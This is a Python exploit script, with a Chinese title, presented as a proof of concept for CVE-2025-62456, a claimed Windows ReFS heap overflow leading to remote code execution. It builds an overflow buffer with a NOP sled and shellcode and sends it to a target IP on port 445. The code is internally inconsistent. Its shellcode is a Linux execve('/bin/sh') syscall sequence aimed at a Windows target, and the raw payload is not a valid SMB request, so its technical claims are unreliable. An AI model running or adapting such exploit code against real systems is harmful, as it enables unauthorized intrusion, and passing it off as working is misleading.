CVE-2025-62456: Windows ReFS堆缓冲区溢出远程代码执行漏洞

# CVE-2025-62456 PoC - ReFS Heap Buffer Overflow # This is a conceptual PoC for educational purposes only import struct import socket def create_refs_exploit_payload(): """ Generate a malicious ReFS file operation request that triggers heap buffer overflow """ # ReFS file system header header = b'REFS' # Malicious payload that causes heap overflow # This payload is designed to overflow a heap buffer overflow_size = 0x10000 # 64KB overflow overflow_data = b'A' * overflow_size # Crafted file operation request # Target specific ReFS driver function packet_type = struct.pack('<I', 0x00000001) # File operation type target_offset = struct.pack('<Q', 0x0000000000000000) # Target offset # Malicious data with shellcode shellcode = ( b'\x90' * 0x100 + # NOP sled b'\x48\x31\xff' + # xor rdi, rdi b'\x48\x31\xf6' + # xor rsi, rsi b'\x48\x31\xd2' + # xor rdx, rdx b'\x48\x31\xc0' + # xor rax, rax b'\x50' + # push rax b'\x48\xbb' + b'/bin/sh\x00' + # mov rbx, '/bin/sh\x00' b'\x53' + # push rbx b'\x48\x89\xe7' + # mov rdi, rsp b'\x50' + # push rax b'\x57' + # push rdi b'\x48\x89\xe6' + # mov rsi, rsp b'\x48\x31\xd2' + # xor rdx, rdx b'\xb0\x3b' + # mov al, 0x3b (sys_execve) b'\x0f\x05' # syscall ) # Construct full exploit packet payload = header + packet_type + target_offset + overflow_data + shellcode return payload def send_exploit(target_ip, target_port=445): """ Send the exploit payload to target system Requires SMB/file sharing service to be exposed """ payload = create_refs_exploit_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print(f'[+] Exploit payload sent to {target_ip}:{target_port}') sock.close() return True except Exception as e: print(f'[-] Exploit failed: {e}') return False if __name__ == '__main__': print('CVE-2025-62456 ReFS Heap Buffer Overflow PoC') print('Usage: python cve-2025-62456.py <target_ip>') print('WARNING: For authorized testing only')